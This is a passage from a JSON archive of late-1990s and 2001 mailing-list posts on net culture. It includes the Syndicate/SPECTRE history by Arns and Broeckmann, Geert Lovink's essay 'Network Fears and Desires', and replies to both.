list was moved to a\ndifferent server and is now administered by other people at\nanart.no/~syndicate. We wanted to avoid further verbiage and conflict and\ntherefore gave up the name, but we insist that from our perspective the\nSyndicate project that was founded in 1996 ended in August 2001. What\nremains under its name is a zombie kept alive by misconceptions about what\nthe Syndicate really was. Maybe we should have stopped the project\naltogether in the summer?\n\nFiltering has, in a way, done us in. Before there were effective e-mail\nclients that could filter out lists and other mail communication, everybody\non the list got everything more or less instantly, which also meant a\nhigher level of social awareness and social control of what goes on on the\nlist. Today, many people filter the lists they subscribe to and only look\nat the postings at irregular intervals - some mailboxes don't get opened\nfor months. Like this, people consume the list passively and do not even\nnotice a fiasco like the one that we experienced on the Syndicate list in\nthe summer. I guess that some people who remain subscribed to the Syndicate\nlist still have not noticed that anything has changed. For a social\ncommunity, that kind of behaviour - automated deferance - can be fatal.\n\n\n\"There's a spectre haunting Europe ...\"\n\nIn August 2001, after unsubscribing from the Syndicate, we initiated a new\nmailing list under the name SPECTRE. It is an open, unmoderated list for\nmedia art and culture in Deep Europe. SPECTRE offers a channel for\npractical information exchange concerning events, projects and initiatives\norganized within the field of media culture, and hosts discussions and\ncritical commentary about the development of art, culture and politics in\nand beyond Europe. Deep Europe is not a particular territory, but is based\non an attitude and experience of layered identities and histories -\nubiquitous in Europe, yet in no way restricted by its topographical\nborders. (The term Deep Europe was coined by Anna Balint in 1996. It was\npassed on by Geert Lovink. It was used by Andreas Broeckmann and Inke Arns.\nIt was interpreted by Luchezar Boyadjiev. It was used more by Sally Jane\nNorman, Iliyana Nedkova, Nina Czegledy, Edi Muka, and many others.)\n\nSPECTRE is a channel for people involved in old and new media in art and\nculture. Importantly, many people on this list know each other personally.\nSPECTRE aims to facilitate real-life meetings and favours real face-to-face\n(screen-to-screen) cooperation, test-bed experiences and environments to\nprovoke querying of issues of cultural identity/identification and\ndifference (translatable as well as untranslatable or irreducible). The new\nlist was immediately welcomed by many frustrated Syndicalists who quickly\nmade the move.\n\nSPECTRE is an unmoderated, but by not means open mailing list. With the\nSyndicate experience in mind we felt the need to explicitely formulate some\nbasic, apparently no longer self-evident netiquette rules, like \"meaningful\ndiscussions require mutual respect,\" and \"self-advertise with care!\" The\nlist is initially hosted by the two of us who also have to approve requests\nfor subscription. The blurb explicitely reads: \"Subscriptions may be\nterminated or suspended in the case of persistent violation of netiquette.\"\nWe regret that we have to introduce such a system of control but see no\nother effective way of protecting something that is dear to us. A lack of\nsensible protection brought down the Syndicate. Information about SPECTRE:\nhttp://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n\nWe try to continue the good Syndicate tradition of amiable exchange and are\nmore hesitant about the illusion of being an 'online community'. We\nmaintain our romantic belief in lasting friendships and insist on the need\nto infuse networks with a strong sense of conviviality. We believe in\npeople and their needs more than we believe in art.\n\nInke Arns, Andreas Broeckmann\n\nBerlin, November 2001\n\n\n\n",
                "id": "465",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000465.html",
                "follow-up": [
                    {
                        "from": "kika@alcor.concordia.ca",
                        "id": "468",
                        "content": "Dear Inke and Andreas,\n\nI have been a rather 'silent' member on your ex-Syndicate list. After the\nunpleasant events with Miss nn et al., I abandoned the Syndicate list and\nI gladly joined the Spectre list you created. I do appreciate time you\ntook in writing to all of us about the summer events on the old Syndicate\nlist. I actually did not have a clear idea what was really going on except\nthat I was sensing that SOMETHING was going wrong with the virtual\ncommunity you created. I did not know who the nn-crowd was and what they\nreally wanted.\n\nEven though I was not a very active member of the Syndicate, I always\nappreciated the pieces of information you provided. THANK YOU VERY MUCH TO\nANDREAS and INKE FOR YOUR WORK. And since I am an artist and a doctoral\nstudent who is always 'on the run', I regret that fact that when nn\nabusive e-mails where polluting my e-mail box I was simply deleting them\nand kept going on with my busy life in-between languages, countries and\ncultures. (I do not live on internet).\n\nYour e-mail Inke MADE ME understand that the silence of the members is no\nlonger possible. Yes, we DO have certain responsibilities to each other,\nwe-virtual and invisible specters. I think that your e-mail touches on a\nvery critical issue of ethical and aesthetic responsibilities of virtual\ne-mails that have never been dealt successfully (at least to my\nknowledge).\n\nWell, now when I finally CAME OUT what would be my/our next step?\n\nI believe that all the Spectre subscribes share certain responsibilities\nto each others (it is already voiced in Inke's mail) and I am not sure\nwhat to propose given the large number of member of Specters. We cannot\nsend each others personal e-mails and start interdicting each other - it\nwould create a virtual chaos! But I strongly believe that we have to DO\nsomething.  As a flamboyant artist I would say: \"Hey, who/where are you?\nLet's go for a drink and talk about art!\" Unfortunately it can only remain\na rhetoric call.  The only thing I CAN do right now is to VOICE my virtual\npresence more often on the Specter's list because I have great respect to\npeople who work very hard to make sure that we get important and wonderful\ninformation about our cultural and political status quo.\n\nThank you and best wishes to Inke, Andreas and all the 250 (+) member of\nthe Specter,\n\nKinga Araya (an interdisciplinary artist currently working and studying in\nMontreal, Canada)\n\n\n\n",
                        "date": "Tue, 13 Nov 2001 15:35:42 -0500 (EST)",
                        "message-id": "468",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000468.html",
                        "content-type": "n/a",
                        "author_name": "KINGA ARAYA",
                        "subject": "[spectre] Rise and Decline of the Syndicate-SOME THOUGHTS"
                    }
                ],
                "message-id": "465",
                "date": "Tue, 13 Nov 2001 15:52:15 +0100",
                "list": "spectre",
                "author_name": "Arns/Broeckmann",
                "subject": "[spectre] Rise and Decline of the Syndicate"
            }
        ],
        "desc": "..."
    },
    "end2end": {
        "lists": [],
        "desc": "..."
    },
    "Network": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00015",
                "content": "\nNetwork Fears and Desires\nSome Strategies to Overcome the Malaise\n\nBy Geert Lovink\n\n\"When I hear the word 'interactive', I grab my gun. And shoot.\" (Andre Simon)\n\nOnce a network, with its loose groupings of individuals and groups has\ngone through the exciting, initial phase of meeting, discovering each\nother's new ideas and concepts, and staging common events, it seems boring\nto continue, engage with the same old persona and read the same arguments\nagain and again. Suddenly, we are discovering our own limitations. There\nwere the short, intensive periods, full of ecstatic collective experience\nand the dull, stretched years of isolated struggle and survival. The dense\ntime of the small, expanding (inter)networks now seems to reach its\nvanishing point. Work is being continued in smaller groups which might be\nmore sustainable in overcoming the Long Boom of Boredom. The seamless\ncreative potential of the collective body has ended up in repetition and\ncertain patterns begin to reveal themselves. The Euro-summer of '98 smells\nlike the mid seventies, late eighties. Not dark, rather grey. No paradigm\nshifts ahead, just business as usual. The web is in place, corporate\ncontent now finally dominates and the constant technological inventions\nkeep on surprising, creating an addiction for even more promising updates. \nReady for the next disappointment. \n\nNetwork growth is not a linear process. Once the Net enters the level of\nthe economy-of-scale, it leaves its first inhabitants behind and enters\nentirely different levels. Even the most ugly, compromised cultural\nmanagers, former net pioneers turned exploiters, will, sooner or later, be\noverruled and puked out by the powers to be. We are now in the latter days\nof amazon.com, Yahoo!, real.com, Netscape etc. Their success stories will\nnot last forever. Don't believe the market. Widespread neo-liberal market\nbiases makes it hard to make a realistic estimation of their chances - let\nalone making a critical analysis (or even materialistic theory) of the\ncyber economy. For the time being we all are still blinded by all the\npromises, potentials, rumours, hypes. This especially counts for the\nastronomical, truly virtual stock values.\n\nGrowth no longer effects net-related initiatives in the fields of arts,\nculture and politics, no matter if they are into making money or not. \nMega, \"the Art of the Big\", Wired's 6.07 cover story by Bruce Sterling,\nabout Hong Kong's new airport, Shanghai's sixty-nine skyscrapers under\nconstruction, China's large dams and the tunnels of CERN can also be read\nas an exotic travelogue for those who have stayed behind, not simply as an\nappeal to the (tired) community to transcend in order to, once again,\nre-invent itself. The role of the business avant-garde is played out and\nthey can learn some lessons now from their historical art predecessors.\nThere is, for example, a saturation point for bandwidth, beyond which,\nmore simply does not mean faster. Against all expectations, the Internet\nis creating a new Mass of \"users\" that just shut up and click/listen. \nThey are \"watching Internet\", a phrase that would have been impossible to\ncome up with a few years ago. This silent majority in the making, which\nwill only know the red 'Buy' button, was not envisioned by the early\nadapters and the visionaries of the first hour. \"It is a Mall World, after\nall,\" Wired's Gary Wolf has to admit, not sure whether to be disgusted or\nto embrace it.\n\nPolitical economy? Not again! It should have died long ago, stumbling into\nsome non-linear hole of history. There is a return of the suppressed. \nEconomy is not such a favourite topic in the age of pastel-coloured\noptimism, despite of the rise of popular capitalism with its junk stocks. \nWe'd better ignore it and keep on tinkering. But this form of economic\nescapism is not an option anymore. We all have to survive. After the long\nfarewell of the Welfare State and its less successful relative, state\ncommunism, neo-liberalism is in place now. It has not been imposed on us\nbut has slowly gained importance, as a bottom-up ideology. Alternative,\nsmall scale do-it-yourself projects seem to fit well into this. Even the\nradical autonomous and anarchistic utopias that had their historical\nobjections against the State. \n\nEverybody is bearing some guilt, expect perhaps for a handfull of\nanalytical Marxists. They have always been right, being in the luxurious\nposition of not having been involved in any struggle for the last 20, 30\nyears. Their objective Truth is gaining importance as an unbearable wisdom\nof the fatal destinies ahead of us. With one eye on the screen streaming\nfinancial data, FT on the breakfast table, this Friendly Marxism without\nSubject, has reached its highest stages of scientific alienation. Now it\nis for a bloody cold dialectical switch, to become what Marxism always\nwas: hardcore economic analysis. This time, made in the United States. \nNo, Monsieur Jospin, the Internet is not one of the Tres Grand Projects,\ndespite the European origin of WWW (Geneva). Your \"Market economy, not\nmarket society\" phrase is a useful (Euro-French) distinction. But let us\nnot fool ourselves. Marx is at Stanford now, back from the new Berkeley\nlibrary, studying the dynamics of Microsoft, Silicon Valley and Wall\nStreet, writing on his critique of the global managerial class. \n\nTime to move on. The permanent digital revolution in danger of becoming a\nreformist project? The System is effectively taking over, even sucking\nitself into the intimate spheres of friendships and personal aims. The\nobjective Wheel of Net History is taking subjective tolls. Time slips away\nand we are caught up in something we never really wanted in the first\nplace. Web design for Dummies. Anxiety over nothing. Debates with nothing\nat stake. Rivalries when there is plenty of loot. But wait a minute. We\nknow all this. The so-called unavoidable process of decay is not God-given\nor a Law of Nature. It is about time to introduce intelligent social\nfeed-back systems. Indeed, a Collective Intelligence (thanks, Pierre\nLevy!)  that can overcome the rather primitive 20th Century model of\nbirth, rise, success and fall that numerous groups and movements have gone\nthrough. It should be possible to resist both historical and technological\ndeterminism, or at least play a game with these now predictable forces.\nThis is the search for a media theory, or digital studies in which we can\nfinally fit the charming or rather fatal wetware factor within the larger\nforces of hardware and software development. \n\nhttp://www.cybernetics.su, where are you, now that we need you? Big\nsilence. Perhaps it is up to us, this time. Next player. It is easy to\nwrite down the draft of \"The Rise and Decline of the Global Empire\". See\nthe stock markets fall. But that's too macro. It is good to gather\nknowledge about economic forces that are behind the Will to Get Wired. But\nin the end, they will not tell us much about the psychological processes\nwithin smaller networks, which the Internet still consists of, despite the\ncurrent massification. That is what the marketing gold diggers are looking\nfor: the ultimate secret of the Virtual Community, whatever that may be. \nWe need a network psychology, not in the form of some brillant\nobservations by academic outsiders, but fast and pro-active social wisdom\nwhich can be implemented in groups, small organizations, lists,\ntechno tribes. Not only to prevent conflicts over nothing, but mainly to\nstage real fights, if there is something at stake.\n\nFirst of all, there is the Media Question. The Spectacle has entered every\npossible domain, and its widespread power has made it virtually impossible\nto imagine a gesture, form of communication or action which is not\nmediated, digitised, archived. All forms of protests and politics are\nunder its spell. But this tragic reality should not limit ourselves if we\nare looking for ways out of broadcast misery. Fine, there is still the\nTAZ, the hacker ethic, models for Electronic Civil Disobedience, tactical\nmedia, concepts that might be flexible enough to resist the pressures from\nthe Forces of Simulation. But like all ideas, these Memes have a limited\nlifespan. They must be updated constantly and renamed in order not to lose\ntheir magical attraction. We should not be sad, or even conservative about\nthis. If the Bolo Bolo, TAZ, squat, rave, virtual community is turning up\nin a new configuration, we should be able to recognize and welcome it. And\nto witness the birth of such a new entity is certainly a privilege. \n\nAfter the gold-rush, the We is being questioned, in danger of\ndisintegrating into a thousand lonely hearts, potentially becoming victims\nof the commodification strategies of the Big players. We are not one, and\nthere has never been unity, specially not these days. The We form in the\nage of the Net is one of the few possibilities left to address groups,\nsub-networks and formulate common strategies, (if indeed people are\ninterested in collaboration and exchange...). Heterogeneous policies are\nalways in danger of falling apart, much more than parties, trade-unions\nand other institutions. One of the tricks to avoid people organising\nthemselves is to reduce their argument to their Private Opinion which is\nseen as a contribution to the general (democratic?) discourse. In times of\nconsolidation, dispersion and decay, the We is under debate, whilst at the\nsame time more used than ever. It is the time of strategies. At the moment\nof the short highs there is only the unspoken, ecstatic We feeling. Later\non, we do not want others to speak for others. This is anyway a\nmore general tension, a feeling of discontent, between explicit ways of\nhyper individuality and loneliness on the one side, and the closed,\nsometimes claustrophic atmosphere inside groups, collectives, companies\nand movements on the other side. This should be the starting point for\nevery contemporary debate on new ways of organizing.\n\nCommodify your dissent. Certainly. And you will be commodified too. This\nfear is even more prominent and destructive these days compared to the\nunavoidable mediation we have to deal with, (and practice). For some,\nthere is the pleasure of getting to know the rules of the game,\nunderstanding the tricks of Doing Business, studying the metaphysics of\nmaking money and its ritual, sacral aspects, fooling around with The\nSuits. But for most, the workers and not executives, commodification means\nregulation of work, creativity and (soft) subversions. At the first\nglance, commodification feels like justice, a liberation, a chance to\nfinally get back some of the money for all the efforts that have been\ninvested in the video, music, text or software one has been working on for\nsuch a long time. But in most cases this only remains a promise. The\nfamous Sell-Outs seldom pay off, compared to the real money others are\nmaking with ordinary jobs. This cheapness, combined with strong, personal\nfeelings of discontent, even guilt is the main reason behind the current\nwave of paranoia about commodification. It is the fear of betrayal for no\nreason, being left alone with empty hands, having to work with strangers\nthat have no clue at all. Yes, one can become infected by corporate germs,\nbut this is easy to cure. One good book, documentary or travel will do. We\nall have to be aware of neo-liberal rhetoric, but ideology is not the\nissue here. From the political, strategic perspective, the fear we are\nspeaking of here is one of the main obstacles for people to organise\nthemselves and engage with each other in serious way beyond occasional\ncollaborations. Commitment and dedication these days intertwine with\nbusiness, and this is deadly. \n\nConciousness Regained.  Radical media pragmatism demands that the actors\nremain Cool. Who can still proclaim to be Multi-media after the monstrous\nmisuse of this term? Yes. It should still be possible to ignore all market\nforces, cheap trends and keep on playing. There is a state of\nhyper-awareness, to transform, disappear, give up terrains that have been\noccupied, and continue at the same time. What now counts is integrity. It\nis getting easy these days to become resigned. There are a thousand\nreasons to quit, or to continue on the same grocery level. The world,\nstructured by pre-cooked events, ready to be microwaved and consumed, can\nbe rejected.  Downright reality is unbearable these days. \"No spiritual\nsurrender\", an Amsterdam graffiti says. Colourless digital existence can\nbe softened by self-made utopias, hallucinatory experiences, with or\nwithout recreational drugs and technologies. Regular switching to other\nchannels which are outside the cyber realm is an option. There are\ncountless universes.  Negroponte's existential reductionism (\"In being\ndigital I am me.\") is just one of them. \"You are only real with your\nmake-up on.\" (Neil Young) \n\nHere Comes the New Desire. Unknown, forgotten forms of negation, refusal,\nanger and pleasure are there and will be open (even towards E.T's), whilst\nstill encrypted against the (mentality) police forces and fashion hunters.\nThere are plenty of sadistic traps for the trend researchers and their\nclientele: Alternative radio, Independent labels, French theory (from\ntwenty years ago), interactive games, on-line events, techno.net This is\nso cruel: see them buying, the poor bastards, desperate to get an\nidentity, any, which makes them feel alive, for a moment or two. \nCybercynical Knowledge 98. So their search engines have to be distrusted,\nignored, misled. The people-to-people networks will lead one to the right\nsource, not the databases of the corporations/states. Computers generate\nuseless data, not contexualized information. This should be knowledge4all.\n\nThe postmodern late-leftist discourse of the '68 generation has now closed\nall its possible options. There is no way out for them, locked up, as they\nare, in their down-sized, optimised, professional institutions. So let it\nbe. The same can be said of the more recent 'new social movements', with\nexception of sudden outbursts of un-controlled (and therefore not\norganized) social-ethnic unrest. Let us not get distracted by ideological\npseudo-events such as the Culture Wars or paranoid waves of xenophobia. \nSome fights are shadow boxing. Others are real. Now it is time for other\noptions, in search for the genuine New that does not fit into known\npatterns of eternal return, being taken back into the System. Virtual\nVolutarism means being able to overcome moods of melancholy, perfectly\naware of all possible limits and opportunities, looking for the\nimpossible, on the side, out of reach of both futurists and nostalgics.\nBeing able to present alternative realities, chocking the Johnsons, way\nout of reach of the Appropriation Machines. The market authorities will\narrive too late. Yes, this is a dream, but we do cannot survive in a\n(digital) environment without options. In order to get at the point, we\nshould reach a level of collective 'self conciousness' to overcome the\nsystem of fear and distrust which is now spreading. No attempt to\nreconstruct what worked once. No glorification of the inevitable. In order\nnot to throw away everything which has been built up we should invent\nconcepts on top of it and not narrow all our options into making the world\ninstitutionally legible. The \"Next Age\", the name of a department store in\nPudong/Shanghai, is hybrid: half-clean, somehow dirty, never entirely\ndigitised, stuck between real growth and an even more real crisis. \nObsessed with progress, in full despair. But there are other options, and\nwe can realise them. \"Get Organised\" (n5m3) \n\n[edited by matthew fuller]\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Fri, 7 Aug 1998 11:25:14 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199808071059.LAA11934 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9808/msg00015.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Network Fears and Desires"
            },
            {
                "content-type": "text/plai",
                "from": "t byfield <tbyfield {AT} panix.com>",
                "id": "00023",
                "content": "\n\n[What follows is a response by Caroline Nevejan of the Society for Old\n and New Media to Geert Lovink's \"Network fears and Desires.\" It wasn't\n written with a larger audience in mind (which in the context of nettime\n is a good thing: nettime is sinking under the weight of these mailbomb\n essays, it's like getting classical statuary in your mailbox, entire\n Italian baroque fountains in ascii art... Think: smaller, faster, light-\n er). Anyway, Caroline's remarks point up a whole range of issues that\n tend to get lost when \"Theory\" decks itself out as a Science: the map\n is not the terrain, and the terrain is human relations--as in children,\n friends, allies. A good thing to meditate on in these hot summer days\n (apologies to those down under\"), because it isn't going to get any\n colder in the long run. There's too much heat, too little warmth. \n\n I've cleaned it up some, so mistakes are my own not Caroline's. -T]\n\n> >Network Fears and Desires\n> >Some Strategies to Overcome the Malaise\n> >\n> >By Geert Lovink\n> >\n> >\"When I hear the word 'interactive', I grab my gun. And shoot.\" \n> > (Andre Simon)\n> >\n> >Once a network, with its loose groupings of individuals and groups has\n> >gone through the exciting, initial phase of meeting, discovering each\n> >other's new ideas and concepts, and staging common events, it seems boring\n> >to continue, engage with the same old persona and read the same arguments\n> >again and again. Suddenly, we are discovering our own limitations. There\n> >were the short, intensive periods, full of ecstatic collective experience\n> >and the dull, stretched years of isolated struggle and survival. The dense\n> >time of the small, expanding (inter)networks now seems to reach its\n> >vanishing point. Work is being continued in smaller groups which might be\n> >more sustainable in overcoming the Long Boom of Boredom. The seamless\n> >creative potential of the collective body has ended up in repetition and\n> >certain patterns begin to reveal themselves. The Euro-summer of '98 smells\n> >like the mid seventies, late eighties. Not dark, rather grey. No paradigm\n> >shifts ahead, just business as usual. The web is in place, corporate\n> >content now finally dominates and the constant technological inventions\n> >keep on surprising, creating an addiction for even more promising updates.\n> >Ready for the next disappointment.\n> \n> I do not agree. This may have been true for the last two or three summers\n> but not anymore. It may feel the same, but like in the mid seventies and \n> the late eighties this is a time of storing and shifting, about deciding \n> what is of real value. That is why it looks like silence, but actually big\n> decisions for the coming years are now being made in peoples own lives. I\n> remember the summer of 1988 or 1989 and then suddenly november 1989 the\n> wall falls. Or the summers of the mid seventies where after the huge\n> political mass movements happened just after (anti-nuke, squatting,\n> environmental etc.)\n>\n> These are times of \"big hope gathering\", of creating new determinations, it\n> is the silence again before new dynamics enroll. Even in the Hague's\n> politics, silence and not knowing what exactly is going to happen are\n> there. People say it is consolidation, but with very outspoken people. I\n> find that promising. As well for ourselves, things feel hard and\n> complicated, but we are also regrouping. Deciding what value is where and\n> what to do with it. The contrast between solo survival and collective\n> sharing I find a dubious criterium. I think quite a lot of the collective\n> sharing of the last years did not have serious \"reach out\" ambitions. It\n> was present as a commentator, not taking resposibility. One of the things I\n> also read in the Soros text of new strategies. It is resposibility time\n> again. I am very happy we have had these years of hunter gathering and\n> networking for fun. It is a good basis for new steps.\n> \n> \n> >Network growth is not a linear process. Once the Net enters the level of\n> >the economy-of-scale, it leaves its first inhabitants behind and enters\n> >entirely different levels. Even the most ugly, compromised cultural\n> >managers, former net pioneers turned exploiters, will, sooner or later, be\n> >overruled and puked out by the powers to be. We are now in the latter days\n> >of amazon.com, Yahoo!, real.com, Netscape etc. Their success stories will\n> >not last forever. Don't believe the market. Widespread neo-liberal market\n> >biases makes it hard to make a realistic estimation of their chances - let\n> >alone making a critical analysis (or even materialistic theory) of the\n> >cyber economy. For the time being we all are still blinded by all the\n> >promises, potentials, rumours, hypes. This especially counts for the\n> >astronomical, truly virtual stock values.\n> \n> One of the things that struck me in confrontation with people who were the\n> first inhabitants of the sixties was the fact that after their collective\n> sharing and huge input, they felt betrayed by the world. And hardly got\n> over it. Some turned cynical, some created private lives, some were to be\n> said new exploiters etc. It has surprised me that very few peopole could\n> see themselves being present in a historical moment, that was the big\n> present for them in their personal lives. But I felt regularly betrayed by\n> their disappointments. They were young and promising, had a great time,\n> made a difference, so why not go on and be extra open for new developments\n> instead of taking the old discourse to judge new possibilities.\n>\n> One could argue that the developments in the stockmarket reflect the\n> awareness (shared by the first inhabitants, actually formulated first by\n> the first inhabitants) that information technologies have the potential to\n> change our ways of conviviality. Now that the market as one of the players\n> is \"in her way\" doing this, the least to do is to retreat, or become\n> cynical. Money is not good or bad in itself. It is what you do with it. The\n> fact that venture capital has moved into the arena of information \n> technologies since a few years, but now even visible on the stockmarket, \n> creates finally lots of content possibilities. The means are there. I do \n> agree that marketplace and conviviality are an interesting couple. Good \n> critical analysis are more needed then ever, formulation of fundamental \n> rights and duties are crucial. Conviviality is the buzzword. A networked \n> society with spiritual expressions part of it. If not fundamentalism, be \n> it capitalistic or islamic or christian or one we do not know yet gets a \n> chance to take over.\n> \n> >Growth no longer effects net-related initiatives in the fields of arts,\n> >culture and politics, no matter if they are into making money or not.\n> >Mega, \"the Art of the Big\", Wired's 6.07 cover story by Bruce Sterling,\n> >about Hong Kong's new airport, Shanghai's sixty-nine skyscrapers under\n> >construction, China's large dams and the tunnels of CERN can also be read\n> >as an exotic travelogue for those who have stayed behind, not simply as an\n> >appeal to the (tired) community to transcend in order to, once again,\n> >re-invent itself. The role of the business avant-garde is played out and\n> >they can learn some lessons now from their historical art predecessors.\n> >There is, for example, a saturation point for bandwidth, beyond which,\n> >more simply does not mean faster. Against all expectations, the Internet\n> >is creating a new Mass of \"users\" that just shut up and click/listen.\n> >They are \"watching Internet\", a phrase that would have been impossible to\n> >come up with a few years ago. This silent majority in the making, which\n> >will only know the red \"Buy\" button, was not envisioned by the early\n> >adapters and the visionaries of the first hour. \"It is a Mall World, after\n> >all,\" Wired's Gary Wolf has to admit, not sure whether to be disgusted or\n> >to embrace it.\n> \n> To realize saturation points is very handy in survival strategies, but does\n> not mean at all that previous thinking and doings our outdated in the sense\n> that they lost value. Being played out is just a temporary thing. It is the\n> silent moment in which you change strategy. It is a fundamental part of\n> being flexible and curious to what is going to happen next in this\n> interesting world. Only those who fix themselves in one perception will be\n> worn out.\n> \n> The idea that someone who is silent in the public arena has lost all human\n> caracteristics, I find extremely arrogant. Yes we all have to shop every\n> day, so it has been a Mall World all along.\n>\n> The silent majority in Baudrillard's vision in those days only wanted to be\n> connected, that was enough. Now we even shop! Actually this is only the\n> beginning.\n> \n> >Political economy? Not again! It should have died long ago, stumbling into\n> >some non-linear hole of history. There is a return of the suppressed.\n> >Economy is not such a favourite topic in the age of pastel-coloured\n> >optimism, despite of the rise of popular capitalism with its junk stocks.\n> >We'd better ignore it and keep on tinkering. But this form of economic\n> >escapism is not an option anymore. We all have to survive. After the long\n> >farewell of the Welfare State and its less successful relative, state\n> >communism, neo-liberalism is in place now. It has not been imposed on us\n> >but has slowly gained importance, as a bottom-up ideology. Alternative,\n> >small scale do-it-yourself projects seem to fit well into this. Even the\n> >radical autonomous and anarchistic utopias that had their historical\n> >objections against the State.\n> \n> I do not understand why you argue against political economy. I agree that\n> as far as I know, the terms and ways to do this in are not clear yet. But\n> espacially since you express that the suppressed are back (I did not\n> notice they were away...), I would argue it is of vital importance. The\n> place where these carrying ideas should come from maybe different then\n> before, or the constellation in which they can arise. If you think about\n> the inside story of Shell in South Africa, or Soros or the microloans in\n> Bangladesh, and also there are De Beers in South Africa or a Chinese\n> economy, the drug trade etc. It is not simple at all, but it is definitely\n> to me a field for what we should pay attention: there is a whole range\n> from slavery to exploitation, to collective work, to free agents. I find\n> the notion of sustainable communities still very viable. That is why I\n> think new thinking has more chance to arise when economics are not analyzed\n> or inspired by just figures, nor can you judge ideas without realization of\n> financial sustainability (survival). Political economy and its translations\n> are important.\n> \n> >Everybody is bearing some guilt, expect perhaps for a handfull of\n> >analytical Marxists. They have always been right, being in the luxurious\n> >position of not having been involved in any struggle for the last 20, 30\n> >years. Their objective Truth is gaining importance as an unbearable wisdom\n> >of the fatal destinies ahead of us. With one eye on the screen streaming\n> >financial data, FT on the breakfast table, this Friendly Marxism without\n> >Subject, has reached its highest stages of scientific alienation. Now it\n> >is for a bloody cold dialectical switch, to become what Marxism always\n> >was: hardcore economic analysis. This time, made in the United States.\n> >No, Monsieur Jospin, the Internet is not one of the Tres Grand Projects,\n> >despite the European origin of WWW (Geneva). Your \"Market economy, not\n> >market society\" phrase is a useful (Euro-French) distinction. But let us\n> >not fool ourselves. Marx is at Stanford now, back from the new Berkeley\n> >library, studying the dynamics of Microsoft, Silicon Valley and Wall\n> >Street, writing on his critique of the global managerial class.\n> \n> Guilt is a deep thing, not really the matter here. I'd be very happy, if \n> it could happen, people would study for over 30 years. I am looking forward \n> to reading it. Missed Marx for quite a while. Do you think he'll get a\n> debate this time around?\n> \n> >Time to move on. The permanent digital revolution in danger of becoming a\n> >reformist project? The System is effectively taking over, even sucking\n> >itself into the intimate spheres of friendships and personal aims. The\n> >objective Wheel of Net History is taking subjective tolls. Time slips away\n> >and we are caught up in something we never really wanted in the first\n> >place. Web design for Dummies. Anxiety over nothing. Debates with nothing\n> >at stake. Rivalries when there is plenty of loot. But wait a minute. We\n> >know all this. The so-called unavoidable process of decay is not God-given\n> >or a Law of Nature. It is about time to introduce intelligent social\n> >feed-back systems. Indeed, a Collective Intelligence (thanks, Pierre\n> >Levy!)  that can overcome the rather primitive 20th Century model of\n> >birth, rise, success and fall that numerous groups and movements have gone\n> >through. It should be possible to resist both historical and technological\n> >determinism, or at least play a game with these now predictable forces.\n> >This is the search for a media theory, or digital studies in which we can\n> >finally fit the charming or rather fatal wetware factor within the larger\n> >forces of hardware and software development.\n> >\n> >http://www.cybernetics.su, where are you, now that we need you? Big\n> >silence. Perhaps it is up to us, this time. Next player. It is easy to\n> >write down the draft of \"The Rise and Decline of the Global Empire\". See\n> >the stock markets fall. But that's too macro. It is good to gather\n> >knowledge about economic forces that are behind the Will to Get Wired. But\n> >in the end, they will not tell us much about the psychological processes\n> >within smaller networks, which the Internet still consists of, despite the\n> >current massification. That is what the marketing gold diggers are looking\n> >for: the ultimate secret of the Virtual Community, whatever that may be.\n> >We need a network psychology, not in the form of some brillant\n> >observations by academic outsiders, but fast and pro-active social wisdom\n> >which can be implemented in groups, small organizations, lists,\n> >techno tribes. Not only to prevent conflicts over nothing, but mainly to\n> >stage real fights, if there is something at stake.\n> \n> Here I agree very much with you. Network psychology is what I missed in in\n> what I read of the works of Castells. But is also what I miss in your text\n> here. Psychologically speaking, there are no Dummies, there is no anxiety\n> over nothing, decay does not exist, the system is part of you but you are\n> not the system, history always demands subjective tolls, collective memory\n> is a fundamental root for knowledge, collective intelligence a driving\n> force in the development of human kind.\n>\n> I agree we need fast and pro-active wisdom, but wisdom is not something one\n> can implement. And even more so I would never talk about implementing\n> wisdom to prevent conflicts (even over nothing, because that is only\n> perception) or stage fights. Wisdom has to do with sensitivity and\n> endurance in \"let it be\", without loosing your energy or connections. \"An\n> implementing wisdom\" machine sounds like a contradiction in terms, but\n> maybe an interesting sort of wishful thinking that may generate useful\n> insights for designing networks in a different way.\n> \n> Cybernetics as far as I know, has always been inspired by the knowledge\n> (or and wisdom) embedded in nature or indigenous societies. The notion of\n> not copying the brain, but seducing or triggering the brain to work\n> differently by using its own powers. I know of some brain and entropy\n> stories, but how does wisdom fit in? Many of the cybernetics people of\n> those days ended up in Physics and Bhuddism, or artificial intelligence, \n> or net design. It would be interesting to look into this again.\n> \n> >First of all, there is the Media Question. The Spectacle has entered every\n> >possible domain, and its widespread power has made it virtually impossible\n> >to imagine a gesture, form of communication or action which is not\n> >mediated, digitised, archived. All forms of protests and politics are\n> >under its spell. But this tragic reality should not limit ourselves if we\n> >are looking for ways out of broadcast misery. Fine, there is still the\n> >TAZ, the hacker ethic, models for Electronic Civil Disobedience, tactical\n> >media, concepts that might be flexible enough to resist the pressures from\n> >the Forces of Simulation. But like all ideas, these Memes have a limited\n> >lifespan. They must be updated constantly and renamed in order not to lose\n> >their magical attraction. We should not be sad, or even conservative about\n> >this. If the Bolo Bolo, TAZ, squat, rave, virtual community is turning up\n> >in a new configuration, we should be able to recognize and welcome it. And\n> >to witness the birth of such a new entity is certainly a privilege.\n> \n> The forces of simulation and the collective amnesia that goes with it are a\n> serious problem of our time. In the sixties there was a connection between\n> thinking and doing--one of the crucial elements, inspired by the good and\n> wrong of the second world war. In our days now this ethic of a person's word\n> is a person's deed, is sort of drifting in the air. In the juridical systems\n> this confusion is very present (international tribunal in the Hague on\n> Yugoslavia, Rodney King, OJ Simpson and Clinton, the Truth commision in\n> South Africa, Singapore's hard-line). What surprises me is that so many\n> people take it serious. Actually in the field of juridical philosophy\n> something 